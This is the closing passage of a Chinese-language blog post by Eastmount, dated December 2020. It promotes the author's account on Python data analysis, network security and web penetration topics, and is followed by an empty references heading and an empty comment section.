2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大數據分析、網絡空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的算法實現。娜璋之家會更加系統,並重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝。

(By:Eastmount 2020-12-25 週五夜於武漢 https://blog.csdn.net/Eastmount)


參考資料:
真心推薦大家好好看看這些視頻和文章,感恩這些大佬!









發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章